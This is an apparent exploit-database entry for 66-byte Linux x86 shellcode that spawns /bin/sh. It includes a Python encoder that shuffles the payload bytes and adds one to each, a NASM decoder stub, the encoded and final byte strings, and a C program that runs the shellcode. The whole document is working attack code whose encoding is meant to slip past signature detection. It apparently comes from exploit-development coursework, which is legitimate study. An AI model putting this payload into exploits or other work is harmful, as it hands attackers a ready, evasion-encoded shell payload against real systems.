Linux/x86 - Reposition + INC encoder with execve(/bin/sh) Shellcode (66 bytes)

# Title: Linux/x86 - Reposition + INC encoder with execve(/bin/sh) Shellcode (66 bytes)
# Author: Jonathan So
# Purpose: decode and spawn a /bin/sh shell
# Tested On: Linux kali 4.19.0-kali4-686 #1 SMP Debian 4.19.28-2kali1 (2019-03-18) i686 GNU/Linux
# Arch: x86
# Size: 66 bytes
# Write-up Link: https://xmilkpowderx.github.io/2019-06-15-SLAEEX4/

======================================================Python Encoder======================================================

#!/usr/bin/python
#execve(/bin/sh)
shellcode = ("\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80")

encoded = ""
encodedP2 = ""
encoded2 = ""
encoded2P2 = ""
count = 1

print 'Encoded shellcode ...'

#Rearrange the position of shellcode and increase each of them by 1
for x in bytearray(shellcode) :
	x += 1
	if count % 2 != 0:
		encoded += '\\x'
		encoded += '%02x' % x
	else:
		encodedP2 += '\\x'
		encodedP2 += '%02x' % x
	if count % 2 != 0:
		encoded2 += '0x'
		encoded2 += '%02x,' % x
	else:
		encoded2P2 += '0x'
		encoded2P2 += '%02x,' % x
	count += 1

print encoded + encodedP2
print encoded2 + encoded2P2

print 'Len: %d' % len(bytearray(shellcode))
print 'Replace number to: %d' % (count/2)

======================================================Encoded Shellcode======================================================

Original:   \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80
Encoded:    \x32\x51\x30\x74\x69\x63\x6f\xe4\x8a\x54\xe2\x0c\x81\xc1\x69\x30\x69\x30\x6a\x8a\x51\xe3\x8a\xb1\xce

========================================================Decoder.nasm=========================================================

global _start			

section .text
_start:

	jmp short call_shellcode
decoder:
	pop esi
	lea edi, [esi + 13]		;half of encoded shellcode len = 25/2 = 13
	xor ebx, ebx
	xor ecx, ecx
	mul ecx
	mov edx, esp
	mov cl, 13
decode:                     		;Rearrange the value of shellcode
	mov bl, byte[esi]		;get value from esi
	dec ebx				;decrease by 1
	mov byte[edx + eax], bl
	inc eax
	mov bl, byte[edi]		;get value from edi
	dec ebx				;decrease by 1
	mov byte[edx + eax], bl
	inc eax
	inc esi
	inc edi
	loop decode

	jmp edx

call_shellcode:

	call decoder
	EncodedShellcode: db 0x32,0x51,0x30,0x74,0x69,0x63,0x6f,0xe4,0x8a,0x54,0xe2,0x0c,0x81,0xc1,0x69,0x30,0x69,0x30,0x6a,0x8a,0x51,0xe3,0x8a,0xb1,0xce

======================================================objdump Generated Shellcode======================================================

\xeb\x22\x5e\x8d\x7e\x0d\x31\xdb\x31\xc9\xf7\xe1\x89\xe2\xb1\x0d\x8a\x1e\x4b\x88\x1c\x02\x40\x8a\x1f\x4b\x88\x1c
\x02\x40\x46\x47\xe2\xee\xff\xe2\xe8\xd9\xff\xff\xff\x32\x51\x30\x74\x69\x63\x6f\xe4\x8a\x54\xe2\x0c\x81\xc1\x69
\x30\x69\x30\x6a\x8a\x51\xe3\x8a\xb1\xce

============================================================Proof of Concept============================================================

#include<stdio.h>
#include<string.h>

unsigned char code[] = \
"\xeb\x22\x5e\x8d\x7e\x0d\x31\xdb\x31\xc9\xf7\xe1\x89\xe2\xb1\x0d\x8a\x1e\x4b\x88\x1c\x02\x40\x8a\x1f\x4b\x88\x1c\x02\x40\x46\x47\xe2\xee\xff\xe2\xe8\xd9\xff\xff\xff\x32\x51\x30\x74\x69\x63\x6f\xe4\x8a\x54\xe2\x0c\x81\xc1\x69\x30\x69\x30\x6a\x8a\x51\xe3\x8a\xb1\xce";

int main(){
	printf("Shellcode Length:  %d\n", strlen(code));
	int (*ret)() = (int(*)())code;
	ret();
}